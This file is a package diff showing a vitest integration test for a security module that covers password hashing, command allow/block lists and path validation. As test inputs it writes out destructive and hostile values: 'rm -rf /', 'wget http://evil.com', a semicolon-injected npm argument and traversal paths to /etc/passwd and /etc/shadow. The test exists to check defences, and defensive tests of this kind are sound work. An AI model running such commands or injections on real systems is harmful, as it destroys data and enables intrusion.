@sparkleideas/security 3.0.0-alpha.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +234 -0
- package/__tests__/acceptance/security-compliance.test.ts +674 -0
- package/__tests__/credential-generator.test.ts +310 -0
- package/__tests__/fixtures/configurations.ts +419 -0
- package/__tests__/fixtures/index.ts +21 -0
- package/__tests__/helpers/create-mock.ts +469 -0
- package/__tests__/helpers/index.ts +32 -0
- package/__tests__/input-validator.test.ts +381 -0
- package/__tests__/integration/security-flow.test.ts +606 -0
- package/__tests__/password-hasher.test.ts +239 -0
- package/__tests__/path-validator.test.ts +302 -0
- package/__tests__/safe-executor.test.ts +292 -0
- package/__tests__/token-generator.test.ts +371 -0
- package/__tests__/unit/credential-generator.test.ts +182 -0
- package/__tests__/unit/password-hasher.test.ts +359 -0
- package/__tests__/unit/path-validator.test.ts +509 -0
- package/__tests__/unit/safe-executor.test.ts +667 -0
- package/__tests__/unit/token-generator.test.ts +310 -0
- package/package.json +28 -0
- package/src/CVE-REMEDIATION.ts +251 -0
- package/src/application/index.ts +10 -0
- package/src/application/services/security-application-service.ts +193 -0
- package/src/credential-generator.ts +368 -0
- package/src/domain/entities/security-context.ts +173 -0
- package/src/domain/index.ts +17 -0
- package/src/domain/services/security-domain-service.ts +296 -0
- package/src/index.ts +271 -0
- package/src/input-validator.ts +466 -0
- package/src/password-hasher.ts +270 -0
- package/src/path-validator.ts +525 -0
- package/src/safe-executor.ts +525 -0
- package/src/token-generator.ts +463 -0
- package/tmp.json +0 -0
- package/tsconfig.json +9 -0
|
@@ -0,0 +1,606 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* V3 Claude-Flow Security Flow Integration Tests
|
|
3
|
+
*
|
|
4
|
+
* Integration tests for security module workflow
|
|
5
|
+
* Tests end-to-end security operations across components
|
|
6
|
+
*/
|
|
7
|
+
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
|
8
|
+
import { createMock, type MockedInterface } from '../helpers/create-mock';
|
|
9
|
+
import { securityConfigs } from '../fixtures/configurations';
|
|
10
|
+
|
|
11
|
+
/**
|
|
12
|
+
* Security service integration interface
|
|
13
|
+
*/
|
|
14
|
+
interface ISecurityService {
|
|
15
|
+
initialize(): Promise<void>;
|
|
16
|
+
validateAndHash(password: string): Promise<{ valid: boolean; hash?: string; errors: string[] }>;
|
|
17
|
+
validateAndExecute(command: string, args: string[]): Promise<ExecutionResult>;
|
|
18
|
+
validatePath(path: string): ValidationResult;
|
|
19
|
+
shutdown(): Promise<void>;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
/**
|
|
23
|
+
* Crypto provider interface
|
|
24
|
+
*/
|
|
25
|
+
interface ICryptoProvider {
|
|
26
|
+
argon2Hash(password: string, options: HashOptions): Promise<string>;
|
|
27
|
+
argon2Verify(hash: string, password: string): Promise<boolean>;
|
|
28
|
+
generateSalt(length: number): Promise<string>;
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
/**
|
|
32
|
+
* Command executor interface
|
|
33
|
+
*/
|
|
34
|
+
interface ICommandExecutor {
|
|
35
|
+
spawn(command: string, args: string[], options: SpawnOptions): Promise<SpawnResult>;
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
/**
|
|
39
|
+
* Audit logger interface
|
|
40
|
+
*/
|
|
41
|
+
interface IAuditLogger {
|
|
42
|
+
log(event: AuditEvent): Promise<void>;
|
|
43
|
+
getEvents(filter?: AuditFilter): Promise<AuditEvent[]>;
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
interface HashOptions {
|
|
47
|
+
memoryCost: number;
|
|
48
|
+
timeCost: number;
|
|
49
|
+
parallelism: number;
|
|
50
|
+
salt: string;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
interface ExecutionResult {
|
|
54
|
+
success: boolean;
|
|
55
|
+
stdout: string;
|
|
56
|
+
stderr: string;
|
|
57
|
+
exitCode: number;
|
|
58
|
+
blocked: boolean;
|
|
59
|
+
reason?: string;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
interface ValidationResult {
|
|
63
|
+
valid: boolean;
|
|
64
|
+
sanitized?: string;
|
|
65
|
+
errors: string[];
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
interface SpawnOptions {
|
|
69
|
+
timeout: number;
|
|
70
|
+
shell: boolean;
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
interface SpawnResult {
|
|
74
|
+
stdout: string;
|
|
75
|
+
stderr: string;
|
|
76
|
+
exitCode: number;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
interface AuditEvent {
|
|
80
|
+
type: string;
|
|
81
|
+
action: string;
|
|
82
|
+
details: unknown;
|
|
83
|
+
timestamp: Date;
|
|
84
|
+
success: boolean;
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
interface AuditFilter {
|
|
88
|
+
type?: string;
|
|
89
|
+
startTime?: Date;
|
|
90
|
+
endTime?: Date;
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
/**
|
|
94
|
+
* Security service implementation for integration testing
|
|
95
|
+
*/
|
|
96
|
+
class SecurityService implements ISecurityService {
|
|
97
|
+
private initialized = false;
|
|
98
|
+
|
|
99
|
+
constructor(
|
|
100
|
+
private readonly crypto: ICryptoProvider,
|
|
101
|
+
private readonly executor: ICommandExecutor,
|
|
102
|
+
private readonly auditLogger: IAuditLogger,
|
|
103
|
+
private readonly config: typeof securityConfigs.strict
|
|
104
|
+
) {}
|
|
105
|
+
|
|
106
|
+
async initialize(): Promise<void> {
|
|
107
|
+
this.initialized = true;
|
|
108
|
+
await this.auditLogger.log({
|
|
109
|
+
type: 'security',
|
|
110
|
+
action: 'initialize',
|
|
111
|
+
details: { config: 'strict' },
|
|
112
|
+
timestamp: new Date(),
|
|
113
|
+
success: true,
|
|
114
|
+
});
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
async validateAndHash(password: string): Promise<{ valid: boolean; hash?: string; errors: string[] }> {
|
|
118
|
+
const errors: string[] = [];
|
|
119
|
+
|
|
120
|
+
// Validate password length
|
|
121
|
+
if (!password || password.length < 8) {
|
|
122
|
+
errors.push('Password must be at least 8 characters');
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
// Validate password complexity
|
|
126
|
+
if (!/[A-Z]/.test(password)) {
|
|
127
|
+
errors.push('Password must contain uppercase letter');
|
|
128
|
+
}
|
|
129
|
+
if (!/[a-z]/.test(password)) {
|
|
130
|
+
errors.push('Password must contain lowercase letter');
|
|
131
|
+
}
|
|
132
|
+
if (!/[0-9]/.test(password)) {
|
|
133
|
+
errors.push('Password must contain number');
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
if (errors.length > 0) {
|
|
137
|
+
await this.auditLogger.log({
|
|
138
|
+
type: 'security',
|
|
139
|
+
action: 'password_validation_failed',
|
|
140
|
+
details: { errors },
|
|
141
|
+
timestamp: new Date(),
|
|
142
|
+
success: false,
|
|
143
|
+
});
|
|
144
|
+
return { valid: false, errors };
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
const salt = await this.crypto.generateSalt(16);
|
|
148
|
+
const hash = await this.crypto.argon2Hash(password, {
|
|
149
|
+
memoryCost: this.config.hashing.memoryCost ?? 65536,
|
|
150
|
+
timeCost: this.config.hashing.timeCost ?? 3,
|
|
151
|
+
parallelism: this.config.hashing.parallelism ?? 4,
|
|
152
|
+
salt,
|
|
153
|
+
});
|
|
154
|
+
|
|
155
|
+
await this.auditLogger.log({
|
|
156
|
+
type: 'security',
|
|
157
|
+
action: 'password_hashed',
|
|
158
|
+
details: { algorithm: this.config.hashing.algorithm },
|
|
159
|
+
timestamp: new Date(),
|
|
160
|
+
success: true,
|
|
161
|
+
});
|
|
162
|
+
|
|
163
|
+
return { valid: true, hash, errors: [] };
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
async validateAndExecute(command: string, args: string[]): Promise<ExecutionResult> {
|
|
167
|
+
const baseCommand = command.split(' ')[0];
|
|
168
|
+
|
|
169
|
+
// Check blocked commands
|
|
170
|
+
if (this.config.execution.blockedCommands.includes(baseCommand)) {
|
|
171
|
+
await this.auditLogger.log({
|
|
172
|
+
type: 'security',
|
|
173
|
+
action: 'command_blocked',
|
|
174
|
+
details: { command: baseCommand },
|
|
175
|
+
timestamp: new Date(),
|
|
176
|
+
success: false,
|
|
177
|
+
});
|
|
178
|
+
|
|
179
|
+
return {
|
|
180
|
+
success: false,
|
|
181
|
+
stdout: '',
|
|
182
|
+
stderr: 'Command blocked by security policy',
|
|
183
|
+
exitCode: -1,
|
|
184
|
+
blocked: true,
|
|
185
|
+
reason: `Command "${baseCommand}" is blocked`,
|
|
186
|
+
};
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
// Check allowed commands
|
|
190
|
+
if (!this.config.execution.allowedCommands.includes(baseCommand)) {
|
|
191
|
+
await this.auditLogger.log({
|
|
192
|
+
type: 'security',
|
|
193
|
+
action: 'command_not_allowed',
|
|
194
|
+
details: { command: baseCommand },
|
|
195
|
+
timestamp: new Date(),
|
|
196
|
+
success: false,
|
|
197
|
+
});
|
|
198
|
+
|
|
199
|
+
return {
|
|
200
|
+
success: false,
|
|
201
|
+
stdout: '',
|
|
202
|
+
stderr: 'Command not in allowed list',
|
|
203
|
+
exitCode: -1,
|
|
204
|
+
blocked: true,
|
|
205
|
+
reason: `Command "${baseCommand}" is not allowed`,
|
|
206
|
+
};
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
// Sanitize arguments
|
|
210
|
+
const sanitizedArgs = args.map((arg) =>
|
|
211
|
+
arg.replace(/[;&|`$()]/g, '').replace(/\n/g, '')
|
|
212
|
+
);
|
|
213
|
+
|
|
214
|
+
// Execute command
|
|
215
|
+
const result = await this.executor.spawn(baseCommand, sanitizedArgs, {
|
|
216
|
+
timeout: this.config.execution.timeout,
|
|
217
|
+
shell: this.config.execution.shell,
|
|
218
|
+
});
|
|
219
|
+
|
|
220
|
+
await this.auditLogger.log({
|
|
221
|
+
type: 'security',
|
|
222
|
+
action: 'command_executed',
|
|
223
|
+
details: { command: baseCommand, exitCode: result.exitCode },
|
|
224
|
+
timestamp: new Date(),
|
|
225
|
+
success: result.exitCode === 0,
|
|
226
|
+
});
|
|
227
|
+
|
|
228
|
+
return {
|
|
229
|
+
success: result.exitCode === 0,
|
|
230
|
+
stdout: result.stdout,
|
|
231
|
+
stderr: result.stderr,
|
|
232
|
+
exitCode: result.exitCode,
|
|
233
|
+
blocked: false,
|
|
234
|
+
};
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
validatePath(path: string): ValidationResult {
|
|
238
|
+
const errors: string[] = [];
|
|
239
|
+
|
|
240
|
+
// Check for empty path
|
|
241
|
+
if (!path || path.length === 0) {
|
|
242
|
+
errors.push('Path cannot be empty');
|
|
243
|
+
return { valid: false, errors };
|
|
244
|
+
}
|
|
245
|
+
|
|
246
|
+
// Check for blocked patterns
|
|
247
|
+
for (const pattern of this.config.paths.blockedPatterns) {
|
|
248
|
+
if (path.includes(pattern)) {
|
|
249
|
+
errors.push(`Path contains blocked pattern: ${pattern}`);
|
|
250
|
+
}
|
|
251
|
+
}
|
|
252
|
+
|
|
253
|
+
// Check length
|
|
254
|
+
if (path.length > this.config.paths.maxPathLength) {
|
|
255
|
+
errors.push(`Path exceeds maximum length of ${this.config.paths.maxPathLength}`);
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
// Check null bytes
|
|
259
|
+
if (path.includes('\0')) {
|
|
260
|
+
errors.push('Path contains null byte');
|
|
261
|
+
}
|
|
262
|
+
|
|
263
|
+
if (errors.length > 0) {
|
|
264
|
+
return { valid: false, errors };
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
// Sanitize path
|
|
268
|
+
let sanitized = path;
|
|
269
|
+
for (const pattern of this.config.paths.blockedPatterns) {
|
|
270
|
+
sanitized = sanitized.split(pattern).join('');
|
|
271
|
+
}
|
|
272
|
+
sanitized = sanitized.replace(/\0/g, '');
|
|
273
|
+
|
|
274
|
+
return { valid: true, sanitized, errors: [] };
|
|
275
|
+
}
|
|
276
|
+
|
|
277
|
+
async shutdown(): Promise<void> {
|
|
278
|
+
await this.auditLogger.log({
|
|
279
|
+
type: 'security',
|
|
280
|
+
action: 'shutdown',
|
|
281
|
+
details: {},
|
|
282
|
+
timestamp: new Date(),
|
|
283
|
+
success: true,
|
|
284
|
+
});
|
|
285
|
+
this.initialized = false;
|
|
286
|
+
}
|
|
287
|
+
}
|
|
288
|
+
|
|
289
|
+
describe('Security Flow Integration', () => {
|
|
290
|
+
let mockCrypto: MockedInterface<ICryptoProvider>;
|
|
291
|
+
let mockExecutor: MockedInterface<ICommandExecutor>;
|
|
292
|
+
let mockAuditLogger: MockedInterface<IAuditLogger>;
|
|
293
|
+
let securityService: SecurityService;
|
|
294
|
+
|
|
295
|
+
beforeEach(() => {
|
|
296
|
+
mockCrypto = createMock<ICryptoProvider>();
|
|
297
|
+
mockExecutor = createMock<ICommandExecutor>();
|
|
298
|
+
mockAuditLogger = createMock<IAuditLogger>();
|
|
299
|
+
|
|
300
|
+
mockCrypto.generateSalt.mockResolvedValue('random-salt-16');
|
|
301
|
+
mockCrypto.argon2Hash.mockResolvedValue('$argon2id$v=19$...');
|
|
302
|
+
mockCrypto.argon2Verify.mockResolvedValue(true);
|
|
303
|
+
|
|
304
|
+
mockExecutor.spawn.mockResolvedValue({
|
|
305
|
+
stdout: 'success',
|
|
306
|
+
stderr: '',
|
|
307
|
+
exitCode: 0,
|
|
308
|
+
});
|
|
309
|
+
|
|
310
|
+
mockAuditLogger.log.mockResolvedValue(undefined);
|
|
311
|
+
mockAuditLogger.getEvents.mockResolvedValue([]);
|
|
312
|
+
|
|
313
|
+
securityService = new SecurityService(
|
|
314
|
+
mockCrypto,
|
|
315
|
+
mockExecutor,
|
|
316
|
+
mockAuditLogger,
|
|
317
|
+
securityConfigs.strict
|
|
318
|
+
);
|
|
319
|
+
});
|
|
320
|
+
|
|
321
|
+
describe('Password Security Flow', () => {
|
|
322
|
+
it('should validate and hash password end-to-end', async () => {
|
|
323
|
+
// Given
|
|
324
|
+
await securityService.initialize();
|
|
325
|
+
const password = 'SecurePass123!';
|
|
326
|
+
|
|
327
|
+
// When
|
|
328
|
+
const result = await securityService.validateAndHash(password);
|
|
329
|
+
|
|
330
|
+
// Then
|
|
331
|
+
expect(result.valid).toBe(true);
|
|
332
|
+
expect(result.hash).toBeDefined();
|
|
333
|
+
expect(result.errors).toHaveLength(0);
|
|
334
|
+
});
|
|
335
|
+
|
|
336
|
+
it('should reject invalid password with multiple errors', async () => {
|
|
337
|
+
// Given
|
|
338
|
+
await securityService.initialize();
|
|
339
|
+
const password = 'weak';
|
|
340
|
+
|
|
341
|
+
// When
|
|
342
|
+
const result = await securityService.validateAndHash(password);
|
|
343
|
+
|
|
344
|
+
// Then
|
|
345
|
+
expect(result.valid).toBe(false);
|
|
346
|
+
expect(result.errors).toContain('Password must be at least 8 characters');
|
|
347
|
+
});
|
|
348
|
+
|
|
349
|
+
it('should audit password operations', async () => {
|
|
350
|
+
// Given
|
|
351
|
+
await securityService.initialize();
|
|
352
|
+
|
|
353
|
+
// When
|
|
354
|
+
await securityService.validateAndHash('SecurePass123!');
|
|
355
|
+
|
|
356
|
+
// Then
|
|
357
|
+
expect(mockAuditLogger.log).toHaveBeenCalledWith(
|
|
358
|
+
expect.objectContaining({
|
|
359
|
+
type: 'security',
|
|
360
|
+
action: 'password_hashed',
|
|
361
|
+
})
|
|
362
|
+
);
|
|
363
|
+
});
|
|
364
|
+
|
|
365
|
+
it('should audit failed validation', async () => {
|
|
366
|
+
// Given
|
|
367
|
+
await securityService.initialize();
|
|
368
|
+
|
|
369
|
+
// When
|
|
370
|
+
await securityService.validateAndHash('weak');
|
|
371
|
+
|
|
372
|
+
// Then
|
|
373
|
+
expect(mockAuditLogger.log).toHaveBeenCalledWith(
|
|
374
|
+
expect.objectContaining({
|
|
375
|
+
type: 'security',
|
|
376
|
+
action: 'password_validation_failed',
|
|
377
|
+
success: false,
|
|
378
|
+
})
|
|
379
|
+
);
|
|
380
|
+
});
|
|
381
|
+
});
|
|
382
|
+
|
|
383
|
+
describe('Command Execution Security Flow', () => {
|
|
384
|
+
it('should execute allowed command successfully', async () => {
|
|
385
|
+
// Given
|
|
386
|
+
await securityService.initialize();
|
|
387
|
+
|
|
388
|
+
// When
|
|
389
|
+
const result = await securityService.validateAndExecute('npm', ['install']);
|
|
390
|
+
|
|
391
|
+
// Then
|
|
392
|
+
expect(result.success).toBe(true);
|
|
393
|
+
expect(result.blocked).toBe(false);
|
|
394
|
+
});
|
|
395
|
+
|
|
396
|
+
it('should block dangerous commands', async () => {
|
|
397
|
+
// Given
|
|
398
|
+
await securityService.initialize();
|
|
399
|
+
|
|
400
|
+
// When
|
|
401
|
+
const result = await securityService.validateAndExecute('rm', ['-rf', '/']);
|
|
402
|
+
|
|
403
|
+
// Then
|
|
404
|
+
expect(result.success).toBe(false);
|
|
405
|
+
expect(result.blocked).toBe(true);
|
|
406
|
+
expect(result.reason).toContain('rm');
|
|
407
|
+
});
|
|
408
|
+
|
|
409
|
+
it('should reject commands not in allowed list', async () => {
|
|
410
|
+
// Given
|
|
411
|
+
await securityService.initialize();
|
|
412
|
+
|
|
413
|
+
// When
|
|
414
|
+
const result = await securityService.validateAndExecute('wget', ['http://evil.com']);
|
|
415
|
+
|
|
416
|
+
// Then
|
|
417
|
+
expect(result.success).toBe(false);
|
|
418
|
+
expect(result.blocked).toBe(true);
|
|
419
|
+
});
|
|
420
|
+
|
|
421
|
+
it('should sanitize command arguments', async () => {
|
|
422
|
+
// Given
|
|
423
|
+
await securityService.initialize();
|
|
424
|
+
|
|
425
|
+
// When
|
|
426
|
+
await securityService.validateAndExecute('npm', ['install;rm -rf /']);
|
|
427
|
+
|
|
428
|
+
// Then
|
|
429
|
+
expect(mockExecutor.spawn).toHaveBeenCalledWith(
|
|
430
|
+
'npm',
|
|
431
|
+
['installrm -rf /'], // Semicolon removed
|
|
432
|
+
expect.any(Object)
|
|
433
|
+
);
|
|
434
|
+
});
|
|
435
|
+
|
|
436
|
+
it('should audit command execution', async () => {
|
|
437
|
+
// Given
|
|
438
|
+
await securityService.initialize();
|
|
439
|
+
|
|
440
|
+
// When
|
|
441
|
+
await securityService.validateAndExecute('npm', ['install']);
|
|
442
|
+
|
|
443
|
+
// Then
|
|
444
|
+
expect(mockAuditLogger.log).toHaveBeenCalledWith(
|
|
445
|
+
expect.objectContaining({
|
|
446
|
+
type: 'security',
|
|
447
|
+
action: 'command_executed',
|
|
448
|
+
})
|
|
449
|
+
);
|
|
450
|
+
});
|
|
451
|
+
|
|
452
|
+
it('should audit blocked commands', async () => {
|
|
453
|
+
// Given
|
|
454
|
+
await securityService.initialize();
|
|
455
|
+
|
|
456
|
+
// When
|
|
457
|
+
await securityService.validateAndExecute('rm', ['-rf']);
|
|
458
|
+
|
|
459
|
+
// Then
|
|
460
|
+
expect(mockAuditLogger.log).toHaveBeenCalledWith(
|
|
461
|
+
expect.objectContaining({
|
|
462
|
+
type: 'security',
|
|
463
|
+
action: 'command_blocked',
|
|
464
|
+
success: false,
|
|
465
|
+
})
|
|
466
|
+
);
|
|
467
|
+
});
|
|
468
|
+
});
|
|
469
|
+
|
|
470
|
+
describe('Path Validation Security Flow', () => {
|
|
471
|
+
it('should validate safe paths', async () => {
|
|
472
|
+
// Given
|
|
473
|
+
const path = './v3/src/security/index.ts';
|
|
474
|
+
|
|
475
|
+
// When
|
|
476
|
+
const result = securityService.validatePath(path);
|
|
477
|
+
|
|
478
|
+
// Then
|
|
479
|
+
expect(result.valid).toBe(true);
|
|
480
|
+
expect(result.errors).toHaveLength(0);
|
|
481
|
+
});
|
|
482
|
+
|
|
483
|
+
it('should block directory traversal', async () => {
|
|
484
|
+
// Given
|
|
485
|
+
const path = '../../../etc/passwd';
|
|
486
|
+
|
|
487
|
+
// When
|
|
488
|
+
const result = securityService.validatePath(path);
|
|
489
|
+
|
|
490
|
+
// Then
|
|
491
|
+
expect(result.valid).toBe(false);
|
|
492
|
+
expect(result.errors.some((e) => e.includes('../'))).toBe(true);
|
|
493
|
+
});
|
|
494
|
+
|
|
495
|
+
it('should block absolute system paths', async () => {
|
|
496
|
+
// Given
|
|
497
|
+
const path = '/etc/shadow';
|
|
498
|
+
|
|
499
|
+
// When
|
|
500
|
+
const result = securityService.validatePath(path);
|
|
501
|
+
|
|
502
|
+
// Then
|
|
503
|
+
expect(result.valid).toBe(false);
|
|
504
|
+
});
|
|
505
|
+
|
|
506
|
+
it('should block null byte injection', async () => {
|
|
507
|
+
// Given
|
|
508
|
+
const path = 'file.txt\0.exe';
|
|
509
|
+
|
|
510
|
+
// When
|
|
511
|
+
const result = securityService.validatePath(path);
|
|
512
|
+
|
|
513
|
+
// Then
|
|
514
|
+
expect(result.valid).toBe(false);
|
|
515
|
+
expect(result.errors.some((e) => e.includes('null byte'))).toBe(true);
|
|
516
|
+
});
|
|
517
|
+
|
|
518
|
+
it('should sanitize and return safe path', async () => {
|
|
519
|
+
// Given
|
|
520
|
+
const path = './safe/path/file.ts';
|
|
521
|
+
|
|
522
|
+
// When
|
|
523
|
+
const result = securityService.validatePath(path);
|
|
524
|
+
|
|
525
|
+
// Then
|
|
526
|
+
expect(result.valid).toBe(true);
|
|
527
|
+
expect(result.sanitized).toBe('./safe/path/file.ts');
|
|
528
|
+
});
|
|
529
|
+
});
|
|
530
|
+
|
|
531
|
+
describe('Security Service Lifecycle', () => {
|
|
532
|
+
it('should initialize and audit', async () => {
|
|
533
|
+
// When
|
|
534
|
+
await securityService.initialize();
|
|
535
|
+
|
|
536
|
+
// Then
|
|
537
|
+
expect(mockAuditLogger.log).toHaveBeenCalledWith(
|
|
538
|
+
expect.objectContaining({
|
|
539
|
+
type: 'security',
|
|
540
|
+
action: 'initialize',
|
|
541
|
+
})
|
|
542
|
+
);
|
|
543
|
+
});
|
|
544
|
+
|
|
545
|
+
it('should shutdown and audit', async () => {
|
|
546
|
+
// Given
|
|
547
|
+
await securityService.initialize();
|
|
548
|
+
|
|
549
|
+
// When
|
|
550
|
+
await securityService.shutdown();
|
|
551
|
+
|
|
552
|
+
// Then
|
|
553
|
+
expect(mockAuditLogger.log).toHaveBeenCalledWith(
|
|
554
|
+
expect.objectContaining({
|
|
555
|
+
type: 'security',
|
|
556
|
+
action: 'shutdown',
|
|
557
|
+
})
|
|
558
|
+
);
|
|
559
|
+
});
|
|
560
|
+
});
|
|
561
|
+
|
|
562
|
+
describe('CVE Prevention Integration', () => {
|
|
563
|
+
it('should prevent CVE-1 (directory traversal) end-to-end', async () => {
|
|
564
|
+
// Given
|
|
565
|
+
const attacks = [
|
|
566
|
+
'../../../etc/passwd',
|
|
567
|
+
'..\\..\\..\\Windows\\System32',
|
|
568
|
+
'....//....//etc/passwd',
|
|
569
|
+
];
|
|
570
|
+
|
|
571
|
+
// When/Then
|
|
572
|
+
for (const attack of attacks) {
|
|
573
|
+
const result = securityService.validatePath(attack);
|
|
574
|
+
expect(result.valid).toBe(false);
|
|
575
|
+
}
|
|
576
|
+
});
|
|
577
|
+
|
|
578
|
+
it('should prevent CVE-2 (absolute path injection) end-to-end', async () => {
|
|
579
|
+
// Given
|
|
580
|
+
const attacks = ['/etc/passwd', '/var/log/auth.log', '/tmp/malicious'];
|
|
581
|
+
|
|
582
|
+
// When/Then
|
|
583
|
+
for (const attack of attacks) {
|
|
584
|
+
const result = securityService.validatePath(attack);
|
|
585
|
+
expect(result.valid).toBe(false);
|
|
586
|
+
}
|
|
587
|
+
});
|
|
588
|
+
|
|
589
|
+
it('should prevent CVE-3 (command injection) end-to-end', async () => {
|
|
590
|
+
// Given
|
|
591
|
+
await securityService.initialize();
|
|
592
|
+
|
|
593
|
+
// When
|
|
594
|
+
const result = await securityService.validateAndExecute('npm', [
|
|
595
|
+
'install; rm -rf /',
|
|
596
|
+
]);
|
|
597
|
+
|
|
598
|
+
// Then - command should execute but with sanitized args
|
|
599
|
+
expect(mockExecutor.spawn).toHaveBeenCalledWith(
|
|
600
|
+
'npm',
|
|
601
|
+
['install rm -rf /'], // Semicolon removed
|
|
602
|
+
expect.any(Object)
|
|
603
|
+
);
|
|
604
|
+
});
|
|
605
|
+
});
|
|
606
|
+
});
|